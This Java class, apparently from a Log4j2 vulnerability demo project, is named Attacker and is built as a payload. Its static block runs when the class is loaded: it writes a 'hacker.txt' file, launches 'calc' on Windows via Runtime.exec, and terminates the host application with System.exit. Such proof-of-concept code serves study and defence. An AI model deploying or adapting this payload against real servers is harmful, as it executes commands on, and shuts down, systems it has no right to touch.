package com.morningyet.bug.log4j2.attacker.hacker;

import java.io.*;

/**
 * 攻击类
 *
 * 在此类的静态代码块中可完成对目标服务器的攻击
 *
 * @author moringyet
 */
public class Attacker {

    private static final String BANNER = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n" +
            "//                                                                //\n" +
            "//                          _ooOoo_                               //\n" +
            "//                         o8888888o                              //\n" +
            "//                         88\" . \"88                              //\n" +
            "//                         (| ^_^ |)                              //\n" +
            "//                         O\\  =  /O                              //\n" +
            "//                      ____/`---'\\____                           //\n" +
            "//                    .'  \\\\|     |//  `.                         //\n" +
            "//                   /  \\\\|||  :  |||//  \\                        //\n" +
            "//                  /  _||||| -:- |||||-  \\                       //\n" +
            "//                  |   | \\\\\\  -  /// |   |                       //\n" +
            "//                  | \\_|  ''\\---/''  |   |                       //\n" +
            "//                  \\  .-\\__  `-`  ___/-. /                       //\n" +
            "//                ___`. .'  /--.--\\  `. . ___                     //\n" +
            "//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n" +
            "//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n" +
            "//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n" +
            "//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n" +
            "//                           `=---='                              //\n" +
            "//  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  //\n" +
            "//   The attack entered and the application will be closed now    //\n" +
            "//  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  //";

    static {
        try {
            System.out.println(BANNER);

            FileWriter fileWriter = new FileWriter("hacker.txt");
            fileWriter.write(BANNER);
            fileWriter.flush();
            fileWriter.close();


            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                Runtime.getRuntime().exec("calc " );
            }



            System.exit(0);
        } catch (IOException e) {
            System.out.println(e.getMessage());
        }
    }

}
